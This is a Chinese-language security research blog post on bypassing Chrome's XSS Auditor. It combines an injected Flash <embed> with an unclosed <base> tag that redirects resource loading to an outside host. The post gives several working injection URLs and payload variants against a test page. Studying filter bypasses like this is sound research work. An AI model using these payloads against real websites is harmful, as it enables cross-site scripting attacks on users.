利用Flash和base标签绕过XSS Auditor
几天前,我正在和Mario一起研究如何绕过Chrome的XSS Auditor。Mario发现了这个绕过方法:
XSS Auditor Bypasses 05.2016
我也发现了另一个绕过方法。在这篇文章中,我想分享我的攻击向量。
攻击向量
1
2
3
|
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
|
让我们来看看这个绕过方法的实现过程。
分析过程
- 直接使用
<embed>
标签加载外部资源会被拦截:
1
2
3
|
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>
|
- 但是加载同源且没有查询字符串的资源不会被拦截:
1
2
3
|
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>
|
- 如果我们能改变基础URL,就有可能实现XSS攻击。base标签通常也会被拦截,但如果它没有用
>
闭合,在某些情况下Auditor不会拦截。
以下情况会被拦截:
1
2
3
|
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>
|
但以下情况不会被拦截:
1
2
3
|
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>
|
区别在于前者在注入点后有一个空格。看起来如果页面在注入点后直接有空格,Auditor会拦截。换句话说,如果页面在注入点后没有直接的空格,我们就可以注入base标签而不被拦截。
因此,我的攻击向量有效!
其他绕过方法
如果注入点后有空格,我们还有机会绕过。如果注入点下方存在"
字符,我们可以使用未闭合的属性引号来绕过Auditor,如<base href="//evil/
。
以下情况不会被拦截:
1
2
3
4
5
|
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
|
这个绕过方法很有用,因为大多数页面在注入点下方都有"
字符。
另外,<script src=/xss.js></script><base href=//evil/
也不会被拦截。但我们无法加载外部资源,因为在设置base URL之前就开始加载了:
1
|
https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/
|
因此,我使用了Flash来实现攻击。
总结
这就是全部内容。感谢阅读我的文章!